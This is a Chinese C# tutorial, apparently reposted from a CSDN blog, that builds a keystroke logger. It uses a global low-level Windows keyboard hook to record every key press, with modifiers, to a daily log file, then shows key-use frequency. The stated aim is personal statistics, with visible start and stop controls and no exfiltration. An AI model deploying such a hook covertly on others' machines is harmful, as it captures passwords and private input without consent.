软件编程
位置:首页>> 软件编程>> C#编程>> 基于C#实现简易的键盘记录器

基于C#实现简易的键盘记录器

作者:Csharp  发布时间:2023-07-02 21:32:41 

标签:C#,键盘,记录器

利用HOOK技术来做一个键盘记录器,看看一天下来,我们点击了多少次键盘,哪些键的使用频率最高。

基于C#实现简易的键盘记录器

实现功能

使用C#实现一个键盘记录器

开发环境

开发工具: Visual Studio 2013

.NET Framework版本:4.5

实现代码

public class HookUtil
  {
      #region windows api

/// <summary>
      /// 安装钩子
      /// </summary>
      [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
       public static extern int SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hInstance, int threadId);
      public delegate int HookProc(int nCode, Int32 wParam, IntPtr lParam);

/// <summary>
      /// 继续下一个钩子
      /// </summary>
      [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
      public static extern int CallNextHookEx(int idHook, int nCode, Int32 wParam, IntPtr lParam);

/// <summary>
      /// 卸载钩子
       /// </summary>
       [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
       public static extern bool UnhookWindowsHookEx(int idHook);

/// <summary>
       ///获取当前线程编号(线程钩子需要用到)
       [DllImport("kernel32.dll")]
       static extern int GetCurrentThreadId();

/// <summary>
       /// 获取当前实例的函数
      /// </summary>
       [DllImport("kernel32.dll")]
       public static extern IntPtr GetModuleHandle(string name);

/// <summary>
       /// 获取按键的状态
       /// </summary>
       /// <param name="pbKeyState"></param>
       /// <returns></returns>
       [DllImport("user32")]
       public static extern int GetKeyboardState(byte[] pbKeyState);

/// <summary>
       /// 将指定的虚拟键码和键盘状态翻译为相应的字符或字符串
      /// </summary>
       [DllImport("user32")]
       public static extern int ToAscii(int uVirtKey, int uScanCode,   byte[] lpbKeyState,byte[] lpwTransKey,int fuState);
      #endregion

/// <summary>
       /// 键盘结构
       /// </summary>
       [StructLayout(LayoutKind.Sequential)]
       public class KeyboardHookStruct
       {
           public int vkCode;  //定一个虚拟键码。该代码必须有一个价值的范围1至254
           public int scanCode; // 指定的硬件扫描码的关键
           public int flags;  // 键标志
           public int time; // 指定的时间戳记的这个讯息
           public int dwExtraInfo; // 指定额外信息相关的信息
       }

//定义为键盘钩子
       public int WH_KEYBOARD_LL = 13;

//相关键盘事件
       public event KeyEventHandler KeyDownEvent;
       public event KeyPressEventHandler KeyPressEvent;
       public event KeyEventHandler KeyUpEvent;

//相关动作
       private const int WM_KEYDOWN = 0x100;//KEYDOWN
       private const int WM_KEYUP = 0x101;//KEYUP
       private const int WM_SYSKEYDOWN = 0x104;//SYSKEYDOWN
       private const int WM_SYSKEYUP = 0x105;//SYSKEYUP

//hookid
      private int hookID = 0;

//向下传递数据
      public Keys NoNextKeyCode;

/// <summary>
      /// 安装钩子
      /// </summary>
       public void StartHook()
       {
           if (hookID == 0)
           {
               HookProc hookProc = new HookProc(KeyboardHookProc);
               hookID = SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, GetModuleHandle(System.Diagnostics.Process.GetCurrentProcess().MainModule.ModuleName), 0);

if (hookID == 0)
               {
                   StopHook();
                   throw new Exception("安装键盘钩子失败");
               }
           }
       }

public void StopHook()
       {
           bool isStop = true;
           if (hookID != 0)
           {
               isStop = UnhookWindowsHookEx(hookID);
               hookID = 0;
           }
           if (!isStop) throw new Exception("卸载键盘钩子失败!");
       }

/// <summary>
      /// 监听事件
      /// </summary>
       private int KeyboardHookProc(int nCode, Int32 wParam, IntPtr lParam)
       {
           if ((nCode >= 0) && (KeyDownEvent != null || KeyUpEvent != null || KeyPressEvent != null))
           {

KeyboardHookStruct MyKeyboardHookStruct = (KeyboardHookStruct)Marshal.PtrToStructure(lParam, typeof(KeyboardHookStruct));

//按下处理
               if (KeyDownEvent != null && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN))
               {
                   Keys keyData = (Keys)MyKeyboardHookStruct.vkCode;
                   KeyEventArgs e = new KeyEventArgs(keyData);
                    KeyDownEvent(this, e);
                   //阻止向下传递
                   if (NoNextKeyCode == keyData)
                   {
                       return hookID;
                   }
               }

//按下并抬起处理
               if (KeyPressEvent != null && wParam == WM_KEYDOWN)
               {
                   byte[] keyState = new byte[256];
                   GetKeyboardState(keyState);

byte[] inBuffer = new byte[2];
                   if (ToAscii(MyKeyboardHookStruct.vkCode, MyKeyboardHookStruct.scanCode, keyState, inBuffer, MyKeyboardHookStruct.flags) == 1)
                   {
                       KeyPressEventArgs e = new KeyPressEventArgs((char)inBuffer[0]);
                       KeyPressEvent(this, e);
                   }
               }

// 抬起处理
               if (KeyUpEvent != null && (wParam == WM_KEYUP || wParam == WM_SYSKEYUP))
               {
                   Keys keyData = (Keys)MyKeyboardHookStruct.vkCode;
                   KeyEventArgs e = new KeyEventArgs(keyData);
                   KeyUpEvent(this, e);
               }

}
           return CallNextHookEx(hookID, nCode, wParam, lParam);
       }

~HookUtil()
       {
           StopHook();
       }
  }
HookUtil keyHook = new HookUtil();
       private void btnBegin_Click(object sender, EventArgs e)
       {
           keyHook.KeyDownEvent += new KeyEventHandler(hook_KeyDown);//钩住按下事件
           keyHook.StartHook();
           btnBegin.Enabled = false;
           btnEnd.Enabled = true;
       }

private void btnEnd_Click(object sender, EventArgs e)
       {
           keyHook.StopHook();
           btnBegin.Enabled = true;
           btnEnd.Enabled = false;
       }

private void btnInfo_Click(object sender, EventArgs e)
       {
           string path = System.AppDomain.CurrentDomain.BaseDirectory + "log\\" + DateTime.Now.ToString("yyyy-MM-dd") + ".txt";
           if (!File.Exists(path))
           {
               MessageBox.Show("还未监听到数据,请操作后再查看");
               return;
           }
           var list = File.ReadAllLines(path).ToList().GroupBy(s => s).Select(s => new { s.Key, s.ToList().Count }).OrderByDescending(s => s.Count);
           FrmInfo frm = new FrmInfo();
           frm.Show();
           foreach (var item in list)
           {
               frm.addItems(new string[] { "", item.Key, item.Count + "" });
           }

}
 private void hook_KeyDown(object sender, KeyEventArgs e)
       {
           if (!listKey.Contains(e.KeyData))
           {
               if (Control.ModifierKeys != Keys.None)
               {
                   WriteLog(Control.ModifierKeys + "+" + e.KeyData);
               }
               else
               {
                   WriteLog(e.KeyData + "");
               }
           }
           else
           {
               WriteLog(e.KeyData + "");
           }

}

实现效果

基于C#实现简易的键盘记录器

来源:https://blog.csdn.net/qq_27410185/article/details/126374859

0
投稿

猜你喜欢

手机版 软件编程 asp之家 www.aspxhome.com